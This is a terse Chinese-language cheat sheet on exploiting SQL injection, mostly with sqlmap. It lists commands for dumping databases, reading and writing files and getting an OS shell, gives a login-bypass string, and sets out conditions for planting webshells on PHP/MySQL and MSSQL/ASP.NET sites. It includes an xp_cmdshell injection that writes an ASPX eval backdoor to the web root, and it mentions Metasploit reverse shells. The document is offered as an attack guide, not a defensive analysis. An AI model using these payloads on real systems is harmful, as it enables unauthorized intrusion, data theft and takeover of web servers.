漏洞的利用(sqlmap)
数据库提权
1.可以直接获取shell,可能会获取系统权限
sqlmap -d "mysql://root:root@ip/数据库" --os-shell
2.Mysql可以使用sql-shell然后进行udf提权
万能密码登录
' or 1=1 '
数据库dump
-u 检测注入点
--current-db 查看当前数据库
--current-user 查看当前用户
--Tables
--columns
--dump
读写文件(需要有读写权限,和secure_file_priv有关)
--file-read 读取文件
--file-write 可以上传本地文件(参数接上本地的shell)
--file-dest 写入到目标文件(参数接上入侵网站的地址)
获取webshell条件
1.php+MySQL 类型网站获取 webshell 条件
(1)MySQL root 账号权限,也就配置 MySQL 连接的账号为 root 账号,不是 root 账号具
备 root 权限也可以。
(2)GPC 配置关闭,能使用单引号
(3)有网站的绝对路径,且具备可以在文件夹写入文件的权限
(4)没有配置 secure-file-priv 属性
2.MSSQL+ASP/Asp.net 类型网站获取 webshell 条件
(1)数据库用户是 sa
(2)能够创建 xp_cmdshell,有的情况下虽然是 sa 账号,也能连接,但无法使用
xp_cmdshell。 (3)知道真实路径
(4)可以通过 echo 命令来生成 shell
注入点直接写
;exec master..xp_cmdshell 'echo ^<%@ Page
Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%^> >
c:WWW233.aspx' ;--
命令行下:
echo ^<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%^> >
c:WWW233.aspx'
sqlmap获取webshell
1.--os-shell
(1)直接连接数据库(需要设置可以允许外来用户登录)
(2)知道绝对路径,并且用户有可写权限
2.msf反弹shell(可写权限和路径)
上传木马文件,然后反弹shell
3.上传shell
通过sqlmap获取的账号和后台密码上传shell